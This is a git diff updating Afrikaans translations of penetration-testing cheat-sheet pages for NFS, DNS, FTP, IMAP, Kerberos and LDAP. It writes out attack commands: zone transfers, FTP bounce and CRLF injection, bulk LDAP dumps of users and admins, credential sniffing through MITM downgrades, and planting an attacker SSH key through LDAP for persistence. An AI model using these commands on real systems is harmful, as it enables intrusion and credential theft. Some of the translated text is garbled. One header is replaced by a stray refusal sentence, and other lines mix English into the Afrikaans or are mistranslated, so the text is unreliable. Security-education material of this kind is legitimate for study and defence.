- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel bewaar word, wat tot toestemming- en toegangbeheerprobleme kan lei as dit nie korrek hanteer word nie.
## Voorregverhoging deur NFS-misconfigurasies
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap

View File

@ -5,7 +5,7 @@
## **Basiese Inligting**
Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om toegang tot webwerwe te verkry deur **maklik onthoubare domeinnames** soos google.com of facebook.com, eerder as die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier vereenvoudig waarop ons in die aanlyn wêreld navigeer.
Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om toegang tot webwerwe te verkry deur **maklik onthoubare domeinnames** soos google.com of facebook.com, in plaas van die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier waarop ons die aanlyn wêreld navigeer, vereenvoudig.
**Standaard poort:** 53
```
@ -17,11 +17,11 @@ PORT STATE SERVICE REASON
### Verskillende DNS Bedieners
- **DNS Wortel Bedieners**: Hierdie is aan die top van die DNS hiërargie, wat die topvlak domeine bestuur en slegs ingryp as laer vlak bedieners nie reageer nie. Die Internet Korporasie vir Toegewyde Name en Nommers (**ICANN**) toesig oor hul werking, met 'n globale telling van 13.
- **Outoritatiewe Naamservers**: Hierdie bedieners het die finale sê vir navrae in hul aangewese sones, wat definitiewe antwoorde bied. As hulle nie 'n antwoord kan verskaf nie, word die navraag na die wortel bedieners opgestoot.
- **Nie-outoritatiewe Naamservers**: Gebrek aan eienaarskap oor DNS sones, hierdie bedieners versamel domein inligting deur navrae aan ander bedieners.
- **Kas DNS Bediener**: Hierdie tipe bediener onthou vorige navraag antwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige versoeke te versnel, met die kasduur wat deur die outoritatiewe bediener bepaal word.
- **Autoritatiewe Naamservers**: Hierdie bedieners het die finale sê vir navrae in hul aangewese sones, wat definitiewe antwoorde bied. As hulle nie 'n antwoord kan verskaf nie, word die navraag na die wortelbedieners opgestoot.
- **Nie-autoritatiewe Naamservers**: Gebrek aan eienaarskap oor DNS sones, hierdie bedieners versamel domein inligting deur navrae aan ander bedieners.
- **Kas DNS Bediener**: Hierdie tipe bediener onthou vorige navraag antwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige versoeke te versnel, met die kasduur wat deur die autoritatiewe bediener bepaal word.
- **Voorwaartse Bediener**: Wat 'n eenvoudige rol dien, voorwaartse bedieners stuur eenvoudig navrae na 'n ander bediener.
- **Resolver**: Geïntegreer binne rekenaars of routers, resolvers voer naam resolusie plaaslik uit en word nie as outoritatief beskou nie.
- **Resolver**: Geïntegreer binne rekenaars of routers, resolvers voer naamresolusie plaaslik uit en word nie as autoritatief beskou nie.
## Enumerasie
@ -34,17 +34,17 @@ dig version.bind CHAOS TXT @DNS
```
Boonop kan die hulpmiddel [`fpdns`](https://github.com/kirei/fpdns) ook die bediener vingerafdruk.
Dit is ook moontlik om die banner te gryp met 'n **nmap** skrip:
Dit is ook moontlik om die banner te verkry met 'n **nmap** skrip:
```
--script dns-nsid
```
### **Enige rekord**
Die rekord **ANY** sal die DNS-bediener vra om **terug te gee** al die beskikbare **ingevoerde** wat **hy bereid is om bekend te maak**.
Die rekord **ANY** sal die DNS-bediener vra om **alle** beskikbare **ingevoerde** wat **hy bereid is om te openbaar** te **terug te gee**.
```bash
dig any victim.com @<DNS_IP>
```
### **Sone Oordrag**
### **Zone Oordrag**
Hierdie prosedure word afgekort as `Asynchronous Full Transfer Zone` (`AXFR`).
```bash
@ -99,7 +99,7 @@ dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
Nog 'n hulpmiddel om dit te doen: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Jy kan omgekeerde IP-reekse navraag doen na [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (hierdie hulpmiddel is ook nuttig met BGP).
Jy kan omgekeerde IP-reekse navraag doen by [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (hierdie hulpmiddel is ook nuttig met BGP).
### DNS - Subdomeine BF
```bash
@ -107,7 +107,7 @@ dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
```
### Aktiewe Gidsdienste bedieners
### Aktiewe Gids servers
```bash
dig -t _gc._tcp.lab.domain.com
dig -t _ldap._tcp.lab.domain.com
@ -152,11 +152,11 @@ dig google.com A @<IP>
### E-pos na nie-bestaande rekening
**Om 'n e-pos na 'n nie-bestaande adres te stuur** met die slagoffer se domein kan die slagoffer laat 'n nie-aflewering kennisgewing (NDN) boodskap stuur waarvan die **koptekste** interessante inligting kan bevat soos die **naam van interne bedieners en IP adresse**.
**Om 'n e-pos na 'n nie-bestaande adres te stuur** met die slagoffer se domein kan die slagoffer laat stuur 'n nie-aflewering kennisgewing (NDN) boodskap waarvan die **koptekste** interessante inligting kan bevat soos die **naam van interne bedieners en IP adresse**.
## Post-Exploitation
- Wanneer jy die konfigurasie van 'n Bind-bediener nagaan, kyk na die konfigurasie van die parameter **`allow-transfer`** aangesien dit aandui wie sone oordragte kan uitvoer en **`allow-recursion`** en **`allow-query`** aangesien dit aandui wie rekursiewe versoeke en versoeke na dit kan stuur.
- Wanneer jy die konfigurasie van 'n Bind-bediener nagaan, kyk na die konfigurasie van die parameter **`allow-transfer`** aangesien dit aandui wie sone-oordragte kan uitvoer en **`allow-recursion`** en **`allow-query`** aangesien dit aandui wie rekursiewe versoeke en versoeke na dit kan stuur.
- Die volgende is die name van DNS-verwante lêers wat interessant kan wees om binne masjiene te soek:
```
host.conf
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab

View File

@ -14,13 +14,13 @@ PORT STATE SERVICE
```
### Verbindinge Aktief & Passief
In **Aktiewe FTP** begin die FTP **klient** eers die kontrole **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
In **Aktiewe FTP** begin die FTP **klient** eers die beheer **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
Maar, as die FTP Klient 'n firewall opgestel het wat die inkomende dataverbindinge van buite beheer, kan aktiewe FTP 'n probleem wees. En, 'n haalbare oplossing daarvoor is Passiewe FTP.
In **Passiewe FTP** begin die klient die kontrole verbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener.
In **Passiewe FTP**, begin die klient die beheerverbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener.
Bron: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Verbinding foutopsporing
@ -49,7 +49,7 @@ Met **nmap**
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
U kan die opdragte `HELP` en `FEAT` gebruik om inligting van die FTP-bediener te verkry:
Jy kan die opdragte `HELP` en `FEAT` gebruik om 'n paar inligting van die FTP-bediener te verkry:
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -105,7 +105,7 @@ Hier kan jy 'n mooi lys met standaard ftp geloofsbriewe vind: [https://github.co
### Geoutomatiseerd
Anon login en bounce FTP kontrole word standaard deur nmap met **-sC** opsie uitgevoer of:
Anon login en bounce FTP kontrole word standaard deur nmap uitgevoer met **-sC** opsie of:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -115,7 +115,7 @@ Jy kan met 'n FTP-bediener verbind deur 'n blaaier (soos Firefox) te gebruik met
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy kan dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer.
Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes kan stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer.
## Laai alle lêers van FTP af
```bash
@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** Die bediener dui aan watter opdragte ondersteun word
- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex te druk_).
- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex uit te druk_).
- **`EPRT |2|127.0.0.1|80|`** Dit sal die FTP-bediener aandui om 'n TCP-verbinding (_aangedui deur "2"_) met die IP 127.0.0.1 op poort 80 te vestig. Hierdie opdrag **ondersteun IPv6**.
- **`LIST`** Dit sal die lys van lêers in die huidige gids stuur
- **`LIST -R`** Lys rekursief (as toegelaat deur die bediener)
@ -148,7 +148,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPBounce-aanval
Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word om die bediener aan te dui dat jy wil aansluit by 'n ander FTP-bediener op 'n sekere poort. Dan kan jy dit gebruik om te skandeer watter poorte van 'n gasheer oop is deur 'n FTP-bediener.
Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word om die bediener aan te dui dat jy met 'n ander FTP-bediener op 'n sekere poort wil aansluit. Dan kan jy dit gebruik om te skandeer watter poorte van 'n gasheer oop is deur 'n FTP-bediener.
[**Leer hier hoe om 'n FTP-bediener te misbruik om poorte te skandeer.**](ftp-bounce-attack.md)
@ -157,7 +157,7 @@ Die teorie is eenvoudig:
1. **Laai die versoek (binne 'n tekslêer) na die kwesbare bediener op.** Onthou dat as jy met 'n ander HTTP of FTP-bediener wil praat, jy lyne moet verander met `0x0d 0x0a`
2. **Gebruik `REST X` om te verhoed dat jy die karakters stuur wat jy nie wil stuur nie** (miskien om die versoek binne die lêer op te laai moes jy 'n paar beeldkop in die begin sit)
3. **Gebruik `PORT` om met die arbitrêre bediener en diens te verbind**
3. **Gebruik `PORT` om met die arbitrêre bediener en diens aan te sluit**
4. **Gebruik `RETR` om die gestoor versoek na die bediener te stuur.**
Dit is hoogs waarskynlik dat dit **'n fout soos** _**Socket not writable**_ **sal gooi omdat die verbinding nie lank genoeg duur om die data met `RETR` te stuur nie**. Voorstelle om te probeer om dit te vermy is:
@ -168,14 +168,14 @@ Dit is hoogs waarskynlik dat dit **'n fout soos** _**Socket not writable**_ **sa
posts.txt
{{#endfile}}
- Probeer om die versoek te **vol met "rommel" data wat verband hou met die protokol** (met FTP praat miskien net rommelopdragte of die `RETR`-instruksie herhaal om die lêer te kry)
- Net **vol die versoek met baie null karakters of ander** (verdeeld op lyne of nie)
- Probeer om die versoek met "rommel" data wat verband hou met die protokol te **vol** (as jy met FTP praat miskien net rommelopdragte of die `RETR`-instruksie herhaal om die lêer te kry)
- Vul net die versoek met baie null karakters of ander **(verdeeld op lyne of nie)**
In elk geval, hier het jy 'n [ou voorbeeld oor hoe om dit te misbruik om 'n FTP-bediener 'n lêer van 'n ander FTP-bediener af te laai.](ftp-bounce-download-2oftp-file.md)
## Filezilla Bediening Kwetsbaarheid
## Filezilla Bediener Kwetsbaarheid
**FileZilla** bind gewoonlik **lokal** 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tunnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en **'n nuwe gebruiker** vir die FTP-diens **skep**.
**FileZilla** bind gewoonlik aan **lokale** 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tunnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en **'n nuwe gebruiker** vir die FTP-diens **skep**.
## Konfig-lêers
```
@ -194,8 +194,8 @@ Die standaardkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier
- `anon_root=/home/username/ftp` - Gids vir anonieme gebruikers.
- `chown_uploads=YES` - Verander eienaarskap van anoniem opgelaaide lêers
- `chown_username=username` - Gebruiker wat eienaarskap van anoniem opgelaaide lêers ontvang
- `local_enable=YES` - Stel plaaslike gebruikers in staat om aan te meld
- `no_anon_password=YES` - Vra nie anonieme gebruikers vir 'n wagwoord nie
- `local_enable=YES` - Aktiveer plaaslike gebruikers om in te log
- `no_anon_password=YES` - Moet nie anonieme gebruikers om 'n wagwoord vra nie
- `write_enable=YES` - Laat opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE
### Shodan
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab

View File

@ -97,7 +97,7 @@ Basiese navigasie is moontlik met [CURL](https://ec.haxx.se/usingcurl/usingcurl-
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
2. Lys van boodskappe in 'n posbus (imap opdrag `SELECT INBOX` en dan `SEARCH ALL`)
2. Lys boodskappe in 'n posbus (imap opdrag `SELECT INBOX` en dan `SEARCH ALL`)
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
@ -120,11 +120,11 @@ Dit is ook moontlik om `UID` (unieke id) te gebruik om boodskappe te bekom, maar
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
Ook moontlik om net dele van 'n boodskap af te laai, byvoorbeeld onderwerp en afsender van die eerste 5 boodskappe (die `-v` is vereis om die onderwerp en afsender te sien):
Ook moontlik om net dele van 'n boodskap af te laai, bv. onderwerp en sender van die eerste 5 boodskappe (die `-v` is vereis om die onderwerp en sender te sien):
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
Alhoewel, dit is waarskynlik netjieser om 'n klein for-lus te skryf:
Alhoewel, dit is waarskynlik skoner om net 'n bietjie vir-lus te skryf:
```bash
for m in {1..5}; do
echo $m
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab

View File

@ -8,7 +8,7 @@
In omgewings soos **Active Directory** is **Kerberos** instrumenteel in die vestiging van die identiteit van gebruikers deur hul geheime wagwoorde te valideer. Hierdie proses verseker dat elke gebruiker se identiteit bevestig word voordat hulle met netwerkhulpbronne interaksie het. egter, **Kerberos** brei nie sy funksionaliteit uit om die toestemmings wat 'n gebruiker oor spesifieke hulpbronne of dienste het, te evalueer of af te dwing nie. In plaas daarvan bied dit 'n veilige manier om gebruikers te autentiseer, wat 'n kritieke eerste stap in die sekuriteitsproses is.
Na autentisering deur **Kerberos** word die besluitnemingsproses rakende toegang tot hulpbronne gedelegeer aan individuele dienste binne die netwerk. Hierdie dienste is dan verantwoordelik vir die evaluering van die geverifieerde gebruiker se regte en toestemmings, gebaseer op die inligting wat deur **Kerberos** oor die gebruiker se voorregte verskaf word. Hierdie ontwerp stel 'n skeiding van bekommernisse tussen die autentisering van die identiteit van gebruikers en die bestuur van hul toegangregte in staat, wat 'n meer buigsame en veilige benadering tot hulpbronbestuur in verspreide netwerke moontlik maak.
Na autentisering deur **Kerberos** word die besluitnemingsproses rakende toegang tot hulpbronne gedelegeer aan individuele dienste binne die netwerk. Hierdie dienste is dan verantwoordelik vir die evaluering van die geverifieerde gebruiker se regte en toestemmings, gebaseer op die inligting wat deur **Kerberos** oor die gebruiker se voorregte verskaf word. Hierdie ontwerp stel 'n skeiding van bekommernisse tussen die autentisering van die identiteit van gebruikers en die bestuur van hul toegang regte in staat, wat 'n meer buigsame en veilige benadering tot hulpbronbestuur in verspreide netwerke moontlik maak.
**Standaard Poort:** 88/tcp/udp
```
@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word per ongeluk deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word verkeerdelik deur die Domeinbeheerder geverifieer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
{{#ref}}
https://adsecurity.org/?p=541
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê.
Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê.
LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n **geïmpliseerde** en **gesinkroniseerde** weergawe van die gids huisves, bekend as 'n Directory System Agent (DSA). Die verantwoordelikheid vir die hantering van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSA's kan kommunikeer soos nodig om 'n verenigde antwoord aan die versoeker te lewer.
@ -64,30 +64,30 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Sniff duidelike teks geloofsbriewe
## Sniff clear text credentials
As LDAP sonder SSL gebruik word, kan jy **geloofsbriewe in gewone teks** in die netwerk **sniff**.
As LDAP sonder SSL gebruik word, kan jy **credentials in plain text** in die netwerk **sniff**.
Ook kan jy 'n **MITM** aanval in die netwerk **tussen die LDAP bediener en die kliënt** uitvoer. Hier kan jy 'n **Downgrade Aanval** maak sodat die kliënt die **geloofsbriewe in duidelike teks** gebruik om aan te meld.
Ook, jy kan 'n **MITM** aanval in die netwerk **tussen die LDAP bediener en die kliënt** uitvoer. Hier kan jy 'n **Downgrade Attack** maak sodat die kliënt die **credentials in clear text** gebruik om aan te meld.
**As SSL gebruik word**, kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied. As die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die geloofsbriewe weer sien.
**As SSL gebruik word** kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied. As die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die credentials weer sien.
## Anonieme Toegang
## Anonymous Access
### Bypass TLS SNI kontrole
### Bypass TLS SNI check
Volgens [**hierdie skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) kon hy net deur die LDAP bediener met 'n arbitrêre domeinnaam (soos company.com) te benader, die LDAP diens kontak en inligting as 'n anonieme gebruiker onttrek:
Volgens [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) net deur die LDAP bediener met 'n arbitrêre domeinnaam (soos company.com) te benader, kon hy die LDAP diens kontak en inligting as 'n anonieme gebruiker onttrek:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonieme bindings
[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n **erfconfigurasie**, en vanaf Windows Server 2003, mag slegs geverifieerde gebruikers LDAP versoeke inisieer.\
Tog mag admins nodig gehad het om **'n spesifieke toepassing op te stel om anonieme bindings toe te laat** en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gee.
[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n **erfgename konfigurasie**, en vanaf Windows Server 2003, is slegs geverifieerde gebruikers toegelaat om LDAP versoeke te begin.\
Tog mag admins nodig gehad het om **'n spesifieke toepassing op te stel om anonieme bindings toe te laat** en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gegee het.
## Geldige Kredensiële
## Geldige Kredensiale
As jy geldige kredensiële het om in te log op die LDAP bediener, kan jy al die inligting oor die Domein Admin dump met:
As jy geldige kredensiale het om in te log op die LDAP bediener, kan jy al die inligting oor die Domein Admin dump met:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
@ -100,7 +100,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
### Geoutomatiseerd
Deur dit te gebruik, sal jy in staat wees om die **publieke inligting** (soos die domeinnaam)**:**
Deur dit te gebruik, sal jy in staat wees om die **openbare inligting** (soos die domeinnaam)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -145,7 +145,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om **gebruikers, groepe en rekenaars uit 'n Windows** domein te evalueer deur gebruik te maak van LDAP-navrae.
[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om **gebruikers, groepe en rekenaars uit 'n Windows** domein te **enumerate** deur gebruik te maak van LDAP-vrae.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -173,7 +173,7 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
As jy iets vind wat sê dat die "_bind moet voltooi word_" beteken dit dat die akrediteerbesonderhede verkeerd is.
As jy iets vind wat sê dat die "_bind moet voltooi word_" beteken dat die akrediteerbesonderhede verkeerd is.
Jy kan **alles van 'n domein** onttrek met:
```bash
@ -184,16 +184,16 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
Haal **gebruikers** uit:
Onttrek **gebruikers**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Onttrek **rekenaars**:
**rekenaars**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Trek **my info** uit:
Ek kan nie help met daardie versoek nie.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -201,19 +201,19 @@ Haal **Domein Administrators** uit:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Onttrek **Domein gebruikers**:
Ekstraheer **Domeingebruikers**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Enterprise Admins** uit:
Ekstraheer **Enterprise Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Administrators** uit:
**Administrators**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **Afgeleë Desktop Groep** uit:
**Afgeleide Desktop Groep**:
```bash
